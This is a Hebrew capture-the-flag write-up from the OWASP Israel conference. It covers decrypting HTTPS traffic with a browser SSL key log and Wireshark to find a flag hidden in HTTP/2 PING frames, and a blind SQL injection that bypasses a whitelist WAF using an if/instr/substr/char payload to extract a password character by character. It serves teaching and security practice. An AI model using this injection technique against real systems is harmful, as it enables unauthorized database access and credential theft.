)פרטים באתגרים  Burp Suiteבתוכנת  Spider-התחלנו את האתגר עם סריקה פשוטה באמצעות כלי ה

 קבצים מעניינים: 2הקודמים( אשר איתר לנו 

 NetherlandsAntilles-flags-cat 

 bhutan-flags-cat 

 מה שניתן לראות בתמונה הבאה:
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 התשובה לפנייה לאחד מקבצים אלו נראה את הרמז הבא:אם נסתכל על 

Look closely... you just received it :) 

 נראה שקיבלנו את הדגל שלנו אבל איך? ואיפה? הרי לא קיבלנו את הדגל! ובכן...

( ובחנו את התעבורה בין עמדת הקצה /https://www.wireshark.org) Wiresharkפתחנו את התוכנה 

 ולכן  HTTPSלשרת. נשים לב כי התעבורה מוצפנת באמצעות 

לא נוכל לראות את התעבורה המוצפנת  -בגדרות ברירת מחדל לא יניב לנו תוצאה  Wireshark-שימוש ב

 )מכיוון שאין לנו את המפתח הפרטי של השיחה(.

התעבורה, ניתן להגדיר את הדפדפן לשמור את כל יחד עם זאת קיימת אפשרות נוספת לפענוח 

תיהיה את היכולת לפענח את  Wireshark-המפתחות הסימטריים אשר משמשים להצפנת השיחה ובכך ל

 התעבורה. 

 :על מנת לעשות זאת עלינו להגדיר את הדפדפן לשמור את כל המפתחות באמצעות הפרמטר

--ssl-key-log-file  

-אופן אוטומטי את כל מפתחות השיחה כדי שאפשר יהיה להשתמש בהם בוכך בעצם הדפדפן ישמור ב

Wireshark .ולצפות בתוכן התעבורה המפוענחת 

 הרצת הדפדפן עם הפרמטר נעשית באופן הבא:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --ssl-key-log-

file=%USERPROFILE%\sslkeys.pms 

לקחת את המפתחות מאותו הקובץ, על ידי לחיצה  Wireshark-הפקודה עלינו להגדיר את ה לאחר הרצת

 .SSLומעבר ללשונית  Preferencesעל 

 כך: sslkeys.pmsבחלון זה עלינו להזין את הנתיב לקובץ 

 

https://www.wireshark.org/
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 נראה שכעת יש לנו את היכולת לראות את כל המידע המפוענח: Wireshark-אם נחזור ל

 

 4, נראה שקיבלנו bhutan-flags-catאם נבצע ניווט לאחד הקבצים שציינו שהדגל התקבל, דוגמא הקובץ 

 :PINGחבילות 

 

 הבא: flag-אם נבחן את התוכן של החבילות נראה שקיבלנו את ה

OWASP-IL{This_is_the_real_flag} 

 :ומיד אחריו את הטקסט

Look closely... you just received: 

 

הוא הגרסה  HTTP/2.0כעיקרון  HTTP/2.0-נקודה מעניינת נוספת היא שאם שמתם לב האתגר כתוב ב

לפרוטוקול החדש יש , (HTTP/1.1) 1997וזה עדכון הגרסה הראשון מאז  HTTPהחדשה לפרוטוקול 

 .PINGיתרונות רבות כגון ביצועים, אבטחה ויכולות נוספות כגון שליחת 

בדיקה האם השיחה עדיין  ןת הזמן הלקוח לפניה להגיע ולחזור או לחילופיהוא מנגנון לבדיק PING-ה

 PINGחבילות  4בתים ולכן באתגר ניתן לראות שקיבלנו  8בגודל  dataניתן להוסיף  PING-פתוחה, ל

 תווים בכל חבילה: 8שמכילות 

 OWASP-IL 

 {This_is 

 _the_rea 

 l_flag} 
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 Alcatraz אתגר

 

עם הכניסה לאתגר נקבל  .White Listהפועל בשיטת  WAF Bypass-ו SQL Injection-אתגר זה עוסק ב

URL  ,המכיל פרמטר אחדid . 

http://challenges.owaspil.ctf.today:8081/profile.php?id=1  

 באמצעות שליחה בקשה נאיבית:  idננסה לבדוק האם ניתן להזריק לפרמטר 

http://challenges.owaspil.ctf.today:8081/profile.php?id=1' 

 :SQL Injectionפתרון האתגר יהיה בדמות  -אין תשובה ישירה מזו 

 

, יש צורך ללמוד WAFכמו כל עבודה מול  .WAF -גילינו שיש באתגר טריק  payloadתוך כדי עבודה על 

מהר מאוד גילינו כי  ( ובהתאם ללמוד מה מותר ומה אסור.white/black listעובד ) WAF-באיזה שיטה ה

סימנים מיוחדים. אז ושאר  %20-%29ובעיקר אסור רווחים, גרשיים,  White List-עובד בשיטת ה WAF-ה

ואם מותר אותיות אנגליות אז בוודאי שניתן  מה מותר? סוגריים עגולים, פסיק, ספרות ואותיות אנגליות.

 וכו'. instr, strcmp, substr, charכמו  Native SQLלהשתמש בפונקציות 

  

http://challenges.owaspil.ctf.today:8081/profile.php?id=1
http://challenges.owaspil.ctf.today:8081/profile.php?id=1
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 הסבר על הפונקציות בהן השתמשנו:

 :ifהפונקציה 

 מתנהגת באופן הבא:  ifהפונקציה 

if (condition, case true, case false) 

 למידע נוסף: 

https://mariadb.com/kb/en/library/if-function/ 

 :instrהפונקציה 

 .str1-מוכל ב str2אם  trueמחזירה  instrהפונקציה 

instr(str1, str2)  

 למידע נוסף:

https://mariadb.com/kb/en/library/instr/ 

 

 :substrהפונקציה 

ומחזירה את  length-ולאורך ה fromממיקום  strגוזרת את המחרוזת  substr(str,from,length)הפונקציה 

 תת המחרוזת.

 למידע נוסף:

https://mariadb.com/kb/en/library/substring/ 

 :charהפונקציה 

 של המספר הנ"ל.  ascii-מקבלת מספר ומחזירה את הייצוג ה charהפונקציה 

https://mariadb.com/kb/en/library/char/ 

 :הבא payload-כך בעצם יצרנו את ה

if(instr(substr(password,1,1),char(1)),13,0) 

 ונביט על התוצאות: intruder-"נזרוק" אותו ל

 

https://mariadb.com/kb/en/library/if-function/
https://mariadb.com/kb/en/library/instr/
https://mariadb.com/kb/en/library/substring/
https://mariadb.com/kb/en/library/char/
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, כך המשכנו עבור כל התווים של O -סימן שהתו הראשון הינו  111-ו 79ניתן לראות שחזר לנו הערך 

 הדגל הבא:הסיסמא וקיבלנו את 

OWASP-IL{I_am_the_WAF_bypass_master!} 

 

 סיכום

בישראל, כנס זה מתמקד בנושא האפליקטיבי של תחום ההאקינג.  OWASPכמידי שנה מתקיים כנס 

כאשר כל אחד מהאתגרים היה שונה באופיו וביכולות הנדרשות כדי  CTFבמסגרת הכנס התקיים אתגר 

 לפתור אותו, אך התמקד בעולם האפליקטיבי.

האתגר התחלק לשלוש רמות קושי, קל בינוני וקשה, כך שהאתגרים הצליחו לפנות גם לקהל המתחילים 

 .  CTF-הוגם לקהל המנוסים יותר ובכך אפשר לקשת רחבה של אנשים בתחום להשתתף באירוע 

 

 במסמך זה פירטנו את הפתרון לכל אחד מהאתגרים הכולל את דרכי החשיבה ואת הדרכים לפתרון.

אנו מקדמים בברכה אתגרים מסוג זה, אשר מהווים גם ככלי ללימוד וגם ככלי העשרה ולכן החלטנו 

 לפרסם את פתרונותינו.

בזמן שניתן, שילוב של כל אנשי הצוות ברור מאליו כי נדרשה עבודת צוות בכדי לפתור את כל האתגרים 

 ועבודה בתתי צוותים תוך כדי התחלפות בכדי לקבל רעיונות ופתרונות שונים.

 

 פוינט ק'צ של חולשות מחקר צוות

קנין, רומן ערן ונכון לכתיבת שורות אלו כולל את החברים הבאים:  Checkpointצוות מחקר החולשות של 

. כלל האתגרים יערה שריקיו ברדה, ליעד מזרחי, אייל סלומון, גל אלבזזאיקין, אלון בוקסינר, דיקלה 

 ידיהם במועד התחרות.-המובאים במאמר זה נפתרו על

 

 


